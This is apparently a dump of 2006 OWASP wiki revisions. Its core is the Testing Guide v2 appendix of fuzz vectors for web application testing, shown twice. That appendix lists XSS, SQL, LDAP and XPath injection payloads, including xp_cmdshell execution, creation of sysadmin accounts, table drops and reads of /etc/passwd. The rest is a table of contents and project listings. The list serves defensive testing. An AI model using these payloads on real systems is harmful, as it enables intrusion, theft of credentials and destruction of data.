<nowiki>' having 1=1--</nowiki> 
<nowiki>' having 1=1--</nowiki> 
<nowiki>' group by userid having 1=1--</nowiki> 
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki> 
<nowiki>' or 1 in (select @@version)--</nowiki> 
<nowiki>' union all select @@version--</nowiki> 
<nowiki>' OR 'unusual' = 'unusual'</nowiki> 
<nowiki>' OR 'something' = 'some'+'thing'</nowiki> 
<nowiki>' OR 'text' = N'text'</nowiki> 
<nowiki>' OR 'something' like 'some%'</nowiki> 
<nowiki>' OR 2 > 1</nowiki> 
<nowiki>' OR 'text' > 't'</nowiki> 
<nowiki>' OR 'whatever' in ('whatever')</nowiki> 
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki> 
<nowiki>' or username like char(37);</nowiki> 
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki> 
<nowiki>' union select </nowiki> 
<nowiki>Password:*/=1--</nowiki> 
<nowiki>UNI/**/ON SEL/**/ECT</nowiki> 
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki> 
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki> 
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki> 
<nowiki>' or 1/*</nowiki> 
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+OR+%277659%27%3D%277659</nowiki> 
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+--+&password=</nowiki> 
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki> 
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki> 
<nowiki>1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki> 
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki> 

==== Active SQL Injection (SQI) ====

Brief description here.

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki> 
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki> 
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki> 
<nowiki>' ; drop table temp --</nowiki> 
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki> 
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki> 
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki> 
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki> 
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki> 

=== LDAP Injection ===

Brief description here.

<nowiki>*()|%26'</nowiki> 
<nowiki>*</nowiki> 
<nowiki>admin*</nowiki> 
<nowiki>admin*)((|userPassword=*)</nowiki> 
<nowiki>*)(uid=*))(|(uid=*</nowiki> 

=== XPATH Injection ===

Brief description here.

<nowiki>'+or+'1'='1</nowiki> 

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide v2 Table of Contents

2006-11-27T10:55:47Z

Subere: /* Appendix C: Fuzz Vectors */

Updated 24th Nov, 12.00 GMT+1
Legend: 
xx%: Progress status of the paragraph 
Review: the paragraph need a review (Matteo Meucci) 
TD: Paragraph To Be Assigned 

[[http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Guide AoC]]

[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Review_Panel Review Panel]]

==[[Testing Guide Frontispiece AoC|Frontispiece]]==

'''1.1 About the OWASP Testing Guide Project''' 
1.1.1 Copyright 
1.1.2 Editors (0%, Review) 
1.1.3 Authors and Reviewers (0%, Review) 
1.1.4 Revision History 
1.1.5 Trademarks 
'''1.2 About The Open Web Application Security Project''' 
1.2.1 Overview 
1.2.2 Structure 
1.2.3 Licensing 
1.2.4 Participation and Membership 
1.2.5 Projects 
1.2.6 OWASP Privacy Policy 

==[[Testing Guide Introduction AoC|Introduction]]==
'''2.1 The OWASP Testing Project''' 
'''2.2 Principles of Testing''' 
'''2.3 Testing Techniques Explained''' 

==[[The OWASP Testing Framework AoC|The OWASP Testing Framework]]==
'''3.1. Overview''' 
'''3.2. Phase 1 — Before Development Begins ''' 
'''3.3. Phase 2: During Definition and Design''' 
'''3.4. Phase 3: During Development''' 
'''3.5. Phase 4: During Deployment''' 
'''3.6. Phase 5: Maintenance and Operations''' 
'''3.7. A Typical SDLC Testing Workflow ''' 

==[[Web Application Penetration Testing AoC |Web Application Penetration Testing ]]==
'''4.1 Introduction and objectives''' (Matteo Meucci) 

'''4.2 Information Gathering''' (Carlo Pelliccioni) 
4.2.1 Testing Web Application Fingerprint (Antonio Parata) 
4.2.2 Application Discovery (Mauro Bregolin) 
4.2.3 Spidering and googling (80%, Tom Brennan, Tom Ryan) 
4.2.4 Analysis of error codes (Carlo Pelliccioni) 
4.2.5 Infrastructure configuration management testing 
4.2.5.1 SSL/TLS Testing (Mauro Bregolin, Mark Curphey) 
4.2.5.2 DB Listener Testing (60%, Eoin Keary, Matteo Meucci) 
4.2.6 Application configuration management testing (90%) 
4.2.6.1 File extensions handling (Mauro Bregolin) 
4.2.6.2 Old, backup and unreferenced files (Mauro Bregolin, Javier Fernandez Sanguino, Dafydd Studdard) 

'''4.3 Business logic testing''' (Madhura Halasgikar) 

'''4.4 Authentication Testing''' (Meucci) 
4.4.1 Default or guessable (dictionary) user account 
4.4.2 Brute Force (Giorgio Fedon, Andrea Lombardini) 
4.4.3 Bypassing authentication schema (Giorgio Fedon, Andrea Lombardini) 
4.4.4 Directory traversal/file include (Luca Carettoni) 
4.4.5 Vulnerable remember password and pwd reset (Ralph M. Los,Alberto Revelli) 
4.4.6 Logout and Browser Cache Management Testing (Alberto Revelli) 

'''4.5 Session Management Testing''' (Glyn Geoghegan, Meucci) 
4.5.1 Analysis of the Session Management Schema (Meucci) 
4.5.2 Cookie and Session token Manipulation (Alberto Revelli, Matteo Meucci) 
4.5.3 Exposed session variables (Meucci) 
4.5.4 Session Riding (XSRF) (Mauro Bregolin,Review) 
4.5.5 HTTP Exploit (0%, Arian J.Evans) 

'''4.6 Data Validation Testing''' (Meucci) 
4.6.1 Cross site scripting (80%, Tom Brennan, Tom Ryan) 
4.6.1.1 HTTP Methods and XST (Alberto Revelli) 
4.6.2 SQL Injection (Antonio Parata) 
4.6.2.1 Stored procedure injection (40%,Gary Burns) 
4.6.2.2 Oracle testing (0%,TD) 
4.6.2.3 MySQL testing (Stefano Di Paola) 
4.6.2.4 SQL Server testing (Ariel Waissbein, Laura Nuñez, Alberto Revelli) 
4.6.3 LDAP Injection (Stefano Di Paola) 
4.6.4 ORM Injection (Mark Roxberry) 
4.6.5 XML Injection (Antonio Parata, Stefano Di Paola) 
4.6.6 SSI Injection (Claudio Merloni) 
4.6.7 XPath Injection (Antonio Parata, Alberto Revelli, Stefano Di Paola) 
4.6.8 IMAP/SMTP Injection (Vicente Aguilera) 
4.6.9 Code Injection (100%, Mark Roxberry) 
4.6.10 OS Commanding (70%, Gary Burns) 
4.6.11 Buffer overflow Testing 
4.6.11.1 Heap overflow 
4.6.11.2 Stack overflow 
4.6.11.3 Format string 
4.6.12 Incubated vulnerability testing (95%,Ariel Waissbein, Laura Nuñez) 

'''4.7 Denial of Service Testing''' 
4.7.1 Locking Customer Accounts Review 
4.7.2 Buffer Overflows 
4.7.3 User Specified Object Allocation 
4.7.4 User Input as a Loop Counter 
4.7.5 Writing User Provided Data to Disk 
4.7.6 Failure to Release Resources 
4.7.7 Storing too Much Data in Session 

'''4.8 Web Services Testing''' (Eoin Keary, Mark Roxberry) 
4.8.1 XML Structural Testing 
4.8.2 XML content-level Testing 
4.8.3 HTTP GET parameters/REST Testing 
4.8.4 Naughty SOAP attachments 
4.8.5 Replay Testing 

'''4.9 AJAX Testing''' (70%, Dan Cornell, Giorgio Fedon, Stefano Di Paola) 
4.9.1 Vulnerabilities (90%, Anush Shetty) 
4.9.2 How to test (60%) 

==[[Writing Reports: value the real risk AoC |Writing Reports: value the real risk ]]==
'''5.1 How to value the real risk''' (90%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana) 
'''5.2 How to write the report of the testing''' (20%, Daniel Cuthbert, Tom Brennan, Tom Ryan) TD 

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==
(90%) 
* Black Box Testing Tools
* Source Code Analyzers
* Other Tools

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
(70%) 
* Whitepapers 
* Books 
* Articles 
* Useful Websites 

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==
(80%)

* Fuzz Categories
** Recursive fuzzing
** Replasive fuzzing
* Cross Site Scripting (XSS)
* Buffer Overflows (BFO)
* Format String Errors (FSE)
* Integer Overflows (INT)
* Passive SQL Injection (SQP)
* Active SQL Injection (SQI)
* LDAP Injection (LDP)
* XPATH Injection (XPH)

 

{{Category:OWASP Testing Project AoC}}

OWASP Testing Guide Appendix C: Fuzz Vectors

2006-11-22T18:02:44Z

Subere:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

The following are fuzzing vectors which can be used with webscarab, jbrofuzz or another fuzzer.
Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing.
This is the simple part of the discovery phase.
Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

=== Fuzz Categories ===

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

* Recursive fuzzing
* Replasive fuzzing

We examine and define each category in the sub-sections that follow.

==== Recursive fuzzing ====

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

<pre>
<nowiki>http://www.owasp.org/8302fa3b</nowiki>
</pre>

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:
<pre>
<nowiki>http://www.owasp.org/00000000</nowiki> 
<nowiki>...</nowiki>
<nowiki>http://www.owasp.org/11000fff</nowiki> 
<nowiki>...</nowiki>
<nowiki>http://www.owasp.org/ffffffff</nowiki> 
</pre>

==== Replasive fuzzing ====

Replasive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

<pre>
<nowiki>http://www.owasp.org/8302fa3b</nowiki>
</pre>

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

<pre>
<nowiki>http://www.owasp.org/>"><script>alert("XSS")</script>&</nowiki> 
<nowiki>http://www.owasp.org/'';!--"<XSS>=&{()}</nowiki> 
</pre>

This is a form of replasive fuzzing. In this category, the total number of requests is dependant on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.

=== Cross Site Scripting (XSS) ===

Brief description here.

<nowiki>>"><script>alert("XSS")</script>&</nowiki> 
<nowiki>"><STYLE>@import"javascript:alert('XSS')";</STYLE></nowiki> 
<nowiki>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></nowiki> 
<nowiki>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></nowiki> 
<nowiki>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</nowiki> 
<nowiki>"></nowiki> 
<nowiki>>"</nowiki> 
<nowiki>'';!--"<XSS>=&{()}</nowiki> 
<nowiki><IMG SRC="javascript:alert('XSS');"></nowiki> 
<nowiki><IMG SRC=javascript:alert('XSS')></nowiki> 
<nowiki><IMG SRC=JaVaScRiPt:alert('XSS')> </nowiki> 
<nowiki><IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)></nowiki> 
<nowiki><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41></nowiki> 
<nowiki><IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki> 
<nowiki><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></nowiki> 
<nowiki><IMG SRC="jav&#x09;ascript:alert('XSS');"></nowiki> 
<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki> 
<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki> 

=== Buffer Overflows (BFO) ===

Brief description here.

Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

<nowiki>A x 5</nowiki> 
<nowiki>A x 17</nowiki> 
<nowiki>A x 33</nowiki> 
<nowiki>A x 65</nowiki> 
<nowiki>A x 129</nowiki> 
<nowiki>A x 257</nowiki> 
<nowiki>A x 513</nowiki> 
<nowiki>A x 1024</nowiki> 
<nowiki>A x 2049</nowiki> 
<nowiki>A x 4097</nowiki> 
<nowiki>A x 8193</nowiki> 
<nowiki>A x 12288</nowiki> 

=== Format String Errors (FSE) ===

Brief description here.

%s%p%x%d</nowiki> 
.1024d</nowiki> 
%.2049d</nowiki> 
<nowiki>%p%p%p%p</nowiki> 
<nowiki>%x%x%x%x</nowiki> 
<nowiki>%d%d%d%d</nowiki> 
<nowiki>%s%s%s%s</nowiki> 
<nowiki>%99999999999s</nowiki> 
<nowiki>%08x</nowiki> 
<nowiki>%%20d</nowiki> 
<nowiki>%%20n</nowiki> 
<nowiki>%%20x</nowiki> 
<nowiki>%%20s</nowiki> 
<nowiki>%s%s%s%s%s%s%s%s%s%s</nowiki> 
<nowiki>%p%p%p%p%p%p%p%p%p%p</nowiki> 
<nowiki>%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%</nowiki> 
<nowiki>%s x 129</nowiki> 
<nowiki>%x x 257</nowiki> 

=== Integer Overflows (INT) ===

Brief description here.

<nowiki>-1</nowiki> 
<nowiki>0</nowiki> 
<nowiki>0x100</nowiki> 
<nowiki>0x1000</nowiki> 
<nowiki>0x3fffffff</nowiki> 
<nowiki>0x7ffffffe</nowiki> 
<nowiki>0x7fffffff</nowiki> 
<nowiki>0x80000000</nowiki> 
<nowiki>0xfffffffe</nowiki> 
<nowiki>0xffffffff</nowiki> 
<nowiki>0x10000</nowiki> 
<nowiki>0x100000</nowiki> 

=== Passive SQL Injection (SQP) ===

Brief description here.

<nowiki>' OR 1=1--</nowiki> 
<nowiki>OR 1=1</nowiki> 
<nowiki>' OR '1'='1</nowiki> 
<nowiki>; OR '1'='1'</nowiki> 
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+OR+%277659%27%3D%277659</nowiki> 
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+--+</nowiki> 
<nowiki>' or 1=1--</nowiki> 
<nowiki>" or 1=1--</nowiki> 
<nowiki>' or 1=1 /*</nowiki> 
<nowiki>or 1=1--</nowiki> 
<nowiki>' or 'a'='a</nowiki> 
<nowiki>" or "a"="a</nowiki> 
<nowiki>') or ('a'='a</nowiki> 
<nowiki>Admin' OR '</nowiki> 
<nowiki>'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--</nowiki> 
<nowiki>) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;</nowiki> 
<nowiki>' having 1=1--</nowiki> 
<nowiki>' having 1=1--</nowiki> 
<nowiki>' group by userid having 1=1--</nowiki> 
<nowiki>' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--</nowiki> 
<nowiki>' or 1 in (select @@version)--</nowiki> 
<nowiki>' union all select @@version--</nowiki> 
<nowiki>' OR 'unusual' = 'unusual'</nowiki> 
<nowiki>' OR 'something' = 'some'+'thing'</nowiki> 
<nowiki>' OR 'text' = N'text'</nowiki> 
<nowiki>' OR 'something' like 'some%'</nowiki> 
<nowiki>' OR 2 > 1</nowiki> 
<nowiki>' OR 'text' > 't'</nowiki> 
<nowiki>' OR 'whatever' in ('whatever')</nowiki> 
<nowiki>' OR 2 BETWEEN 1 and 3</nowiki> 
<nowiki>' or username like char(37);</nowiki> 
<nowiki>' union select * from users where login = char(114,111,111,116);</nowiki> 
<nowiki>' union select
<nowiki>Password:*/=1--</nowiki> 
<nowiki>UNI/**/ON SEL/**/ECT</nowiki> 
<nowiki>'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'</nowiki> 
<nowiki>'; EXEC ('SEL' + 'ECT US' + 'ER')</nowiki> 
<nowiki>'/**/OR/**/1/**/=/**/1</nowiki> 
<nowiki>' or 1/*</nowiki> 
<nowiki>+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+OR+%277659%27%3D%277659</nowiki> 
<nowiki>%22+or+isnull%281%2F0%29+%2F*</nowiki> 
<nowiki>%27+--+&password=</nowiki> 
<nowiki>'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --</nowiki> 
<nowiki>' and 1 in (select var from temp)--</nowiki> 
<nowiki>' union select 1,load_file('/etc/passwd'),1,1,1;</nowiki> 
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;</nowiki> 
<nowiki>' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));</nowiki> 

=== Active SQL Injection (SQI) ===

Brief description here.

<nowiki>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</nowiki> 
<nowiki>CRATE USER name IDENTIFIED BY 'pass123'</nowiki> 
<nowiki>CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; </nowiki> 
<nowiki>' ; drop table temp --</nowiki> 
<nowiki>exec sp_addlogin 'name' , 'password'</nowiki> 
<nowiki>exec sp_addsrvrolemember 'name' , 'sysadmin'</nowiki> 
<nowiki>INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))</nowiki> 
<nowiki>GRANT CONNECT TO name; GRANT RESOURCE TO name;</nowiki> 
<nowiki>INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)</nowiki> 

{{Category:OWASP Testing Project AoC}}

Category:OWASP Project

2006-11-19T23:26:38Z

Subere: /* Alpha Status Projects */

An OWASP project is a collection of related tasks that have a defined roadmap and team members. OWASP project leaders are responsible for defining the vision, roadmap, and tasks for the project. The project leader also promotes the project and builds the team.

To propose a new project, please send an email to [mailto:owasp@owasp.org?subject=New_OWASP_Project_idea owasp@owasp.org]

Every project has an associated mail list. You can view all the lists, examine their archives, and subscribe to any of them on the [http://lists.owasp.org/mailman/listinfo OWASP Project Mailing Lists] page.

==Release Quality Projects==

<table><tr><th width="50%">Tools</th><th>Documentation</th></tr><tr valign="top"><td>

; [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]]
: an online training environment for hands-on learning about application security

; [[:Category:OWASP WebScarab Project|OWASP WebScarab Project]]
: a tool for performing all types of security testing on web applications and web services

</td><td>

; [[:Category:OWASP AppSec FAQ Project|OWASP AppSec FAQ Project]]
: FAQ covering many application security topics

; [[:Category:OWASP Guide Project|OWASP Guide Project]]
: a massive document covering all aspects of web application and web service security

; [[:Category:OWASP Legal Project|OWASP Legal Research]]
: a project focused on contracting for secure software

; [[:Category:OWASP Top Ten Project|OWASP Top Ten Project]]
: an awareness document that describes the top ten web application security vulnerabilities

</td></tr></table>

==Beta Status Projects==

<table valign="top"><tr><th width="50%">Tools</th><th>Documentation</th></tr><tr valign="top"><td>

; [[:Category:OWASP CAL9000 Project|OWASP CAL9000 Project]]
: a JavaScript based web application security testing suite

; [[:Category:OWASP Encoding Project|OWASP Encoding Project]]
: a new project focused on the development of encoding best practices for web applications.

; [[:Category:OWASP LAPSE Project|OWASP LAPSE Project]]
: an Eclipse-based source-code static analysis tool for Java

; [[:Category:OWASP Live CD Project|OWASP Live CD Project]]
: a CD containing ready to use versions of application security analysis and testing tools

; [[:Category:OWASP .NET Project|OWASP .NET Research]]
: a project focused on helping .NET developers build secure applications

; [[:Category:OWASP Pantera Web Assessment Studio Project|OWASP Pantera Web Assessment Studio Project]]
: a project focused on combining automated capabilities with complete manual testing to get the best results

; [[:Category:OWASP Sprajax Project|OWASP Sprajax Project]]
: an open source black box security scanner used to assess the security of AJAX-enabled applications

; [[:Category:OWASP SQLiX Project|OWASP SQLiX Project]]
: a project focused on the development of SQLiX, a full perl-based SQL scanner

; [[:Category:OWASP WSFuzzer Project|OWASP WSFuzzer Project]]
: a project focused on the development of WSFuzzer, a full python-based Web Services SOAP fuzzer

</td><td>

; [[:Category:OWASP CLASP Project|OWASP CLASP Project]]
: a project focused on defining process elements that reinforce application security

; [[:Category:OWASP Code Review Project|OWASP Code Review Project]]
: a new project to capture best practices for reviewing code

; [[:Category:OWASP Testing Project|OWASP Testing Guide]]
: a project focused on application security testing procedures and checklists

; [[:Category:OWASP Tools Project|OWASP Tools Project]]
: The OWASP Tools Project's goal is to provide unbiased, practical information and guidance about application security tools.

</td></tr></table>

==Alpha Status Projects==

<table valign="top"><tr><th width="50%">Tools</th><th>Documentation</th></tr><tr valign="top"><td>

; [[:Category:OWASP Insecure Web App Project|OWASP Insecure Web App Project]]
: a web application that includes common web application vulnerabilities

; [[:Category:OWASP JBroFuzz|OWASP JBroFuzz Project]]
: a fuzzer application, supporting a number of automated security checks including basic cross site scripting checks (XSS) as well as basic SQL injection testing.

; [[:Category:OWASP Orizon Project|OWASP Orizon Project]]
: a project focused on the development of a flexible code review engine

; [[:Category:OWASP Validation Project|OWASP Validation Project]]
: a project that provides guidance and tools related to validation

</td><td>

; [[:Category:OWASP AJAX Security Project|OWASP AJAX Security Guide]]
: investigating the security of AJAX enabled applications

; [[:Category:OWASP Application Security Assessment Standards Project|OWASP Application Security Assessment Standards Project]]
: establish a set of standards defining baseline approaches to conducting differing types/levels of application security assessment

; [[:Category:OWASP Application Security Metrics Project|OWASP Application Security Metrics Project]]
: identify and provide a set of application security metrics that have been found by contributors to be effective in measuring application security

; [[:Category:OWASP Career Development Project|OWASP Career Development Project]]
: The OWASP Career Development project is focused on helping application security professionals understand the job market, roles, career paths, and skills to work in the field.

; [[:Category:OWASP Honeycomb Project|OWASP Honeycomb Guide]]
: a comprehensive and integrated guide to the fundamental building blocks of application security

; [[:Category:OWASP Java Project|OWASP Java Project]]
: a project focused on helping Java and J2EE developers build secure applications

; [[:Category:OWASP Logging Project|OWASP Logging Guide]]
: a project to define best practices for logging and log management

; [[:Category:OWASP PHP Project|OWASP PHP Project]]
: a project focused on helping PHP developers build secure applications

; [[:Category:OWASP Risk Management Project|OWASP Risk Management Project]]
: a new project focused on processes for managing application security risk

; [[:Category:OWASP WASS Project|OWASP WASS Guide]]
: a standards project to develop more concrete criteria for secure applications

</td></tr></table>

__NOTOC__

Category:OWASP Project

2006-11-19T23:21:17Z

Subere: /* Alpha Status Projects */

An OWASP project is a collection of related tasks that have a defined roadmap and team members. OWASP project leaders are responsible for defining the vision, roadmap, and tasks for the project. The project leader also promotes the project and builds the team.

To propose a new project, please send an email to [mailto:owasp@owasp.org?subject=New_OWASP_Project_idea owasp@owasp.org]

Every project has an associated mail list. You can view all the lists, examine their archives, and subscribe to any of them on the [http://lists.owasp.org/mailman/listinfo OWASP Project Mailing Lists] page.

==Release Quality Projects==

<table><tr><th width="50%">Tools</th><th>Documentation</th></tr><tr valign="top"><td>

; [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]]
: an online training environment for hands-on learning about application security

; [[:Category:OWASP WebScarab Project|OWASP WebScarab Project]]
: a tool for performing all types of security testing on web applications and web services

</td><td>

; [[:Category:OWASP AppSec FAQ Project|OWASP AppSec FAQ Project]]
: FAQ covering many application security topics

; [[:Category:OWASP Guide Project|OWASP Guide Project]]
: a massive document covering all aspects of web application and web service security

; [[:Category:OWASP Legal Project|OWASP Legal Research]]
: a project focused on contracting for secure software

; [[:Category:OWASP Top Ten Project|OWASP Top Ten Project]]
: an awareness document that describes the top ten web application security vulnerabilities

</td></tr></table>

==Beta Status Projects==

<table valign="top"><tr><th width="50%">Tools</th><th>Documentation</th></tr><tr valign="top"><td>

; [[:Category:OWASP CAL9000 Project|OWASP CAL9000 Project]]
: a JavaScript based web application security testing suite

; [[:Category:OWASP Encoding Project|OWASP Encoding Project]]
: a new project focused on the development of encoding best practices for web applications.

; [[:Category:OWASP LAPSE Project|OWASP LAPSE Project]]
: an Eclipse-based source-code static analysis tool for Java

; [[:Category:OWASP Live CD Project|OWASP Live CD Project]]
: a CD containing ready to use versions of application security analysis and testing tools

; [[:Category:OWASP .NET Project|OWASP .NET Research]]
: a project focused on helping .NET developers build secure applications

; [[:Category:OWASP Pantera Web Assessment Studio Project|OWASP Pantera Web Assessment Studio Project]]
: a project focused on combining automated capabilities with complete manual testing to get the best results

; [[:Category:OWASP Sprajax Project|OWASP Sprajax Project]]
: an open source black box security scanner used to assess the security of AJAX-enabled applications

; [[:Category:OWASP SQLiX Project|OWASP SQLiX Project]]
: a project focused on the development of SQLiX, a full perl-based SQL scanner

; [[:Category:OWASP WSFuzzer Project|OWASP WSFuzzer Project]]
: a project focused on the development of WSFuzzer, a full python-based Web Services SOAP fuzzer

</td><td>

; [[:Category:OWASP CLASP Project|OWASP CLASP Project]]
: a project focused on defining process elements that reinforce application security

; [[:Category:OWASP Code Review Project|OWASP Code Review Project]]
: a new project to capture best practices for reviewing code

; [[:Category:OWASP Testing Project|OWASP Testing Guide]]
: a project focused on application security testing procedures and checklists

; [[:Category:OWASP Tools Project|OWASP Tools Project]]
: The OWASP Tools Project's goal is to provide unbiased, practical information and guidance about application security tools.

</td></tr></table>

==Alpha Status Projects==

<table valign="top"><tr><th width="50%">Tools</th><th>Documentation</th></tr><tr valign="top"><td>

; [[:Category:OWASP Insecure Web App Project|OWASP Insecure Web App Project]]
: a web application that includes common web application vulnerabilities

; [[:Category:OWASP JBroFuzz|OWASP JBroFuzz Project]]
: a fuzzer application, supporting a number of automated security checks including basic
cross site scripting checks (XSS) as well as basic SQL injection testing.

; [[:Category:OWASP Orizon Project|OWASP Orizon Project]]
: a project focused on the development of a flexible code review engine

; [[:Category:OWASP Validation Project|OWASP Validation Project]]
: a project that provides guidance and tools related to validation

</td><td>

; [[:Category:OWASP AJAX Security Project|OWASP AJAX Security Guide]]
: investigating the security of AJAX enabled applications

; [[:Category:OWASP Application Security Assessment Standards Project|OWASP Application Security Assessment Standards Project]]
: establish a set of standards defining baseline approaches to conducting differing types/levels of application security assessment

; [[:Category:OWASP Application Security Metrics Project|OWASP Application Security Metrics Project]]
: identify and provide a set of application security metrics that have been found by contributors to be effective in measuring application security

; [[:Category:OWASP Career Development Project|OWASP Career Development Project]]
: The OWASP Career Development project is focused on helping application security professionals understand the job market, roles, career paths, and skills to work in the field.

; [[:Category:OWASP Honeycomb Project|OWASP Honeycomb Guide]]
: a comprehensive and integrated guide to the fundamental building blocks of application security

; [[:Category:OWASP Java Project|OWASP Java Project]]
: a project focused on helping Java and J2EE developers build secure applications

; [[:Category:OWASP Logging Project|OWASP Logging Guide]]
: a project to define best practices for logging and log management

; [[:Category:OWASP PHP Project|OWASP PHP Project]]
: a project focused on helping PHP developers build secure applications

; [[:Category:OWASP Risk Management Project|OWASP Risk Management Project]]
: a new project focused on processes for managing application security risk

; [[:Category:OWASP WASS Project|OWASP WASS Guide]]
: a standards project to develop more concrete criteria for secure applications

</td></tr></table>

__NOTOC__

File:Jbrofuzz small.png

2006-11-16T23:30:12Z

Subere: JBroFuzz Screenshot (Small)

JBroFuzz Screenshot (Small)

File:Jbrofuzz.png

2006-11-16T23:25:05Z

Subere: JBroFuzz Screenshot

JBroFuzz Screenshot

File:0.2-Screenshot.png

2006-11-14T01:45:07Z

Subere: A screenshot of JBroFuzz 0.2 in action!

A screenshot of JBroFuzz 0.2 in action!

File:0.2-splash.jpg

2006-11-14T01:42:31Z

Subere: Splash Screen of JBroFuzz 0.2

Splash Screen of JBroFuzz 0.2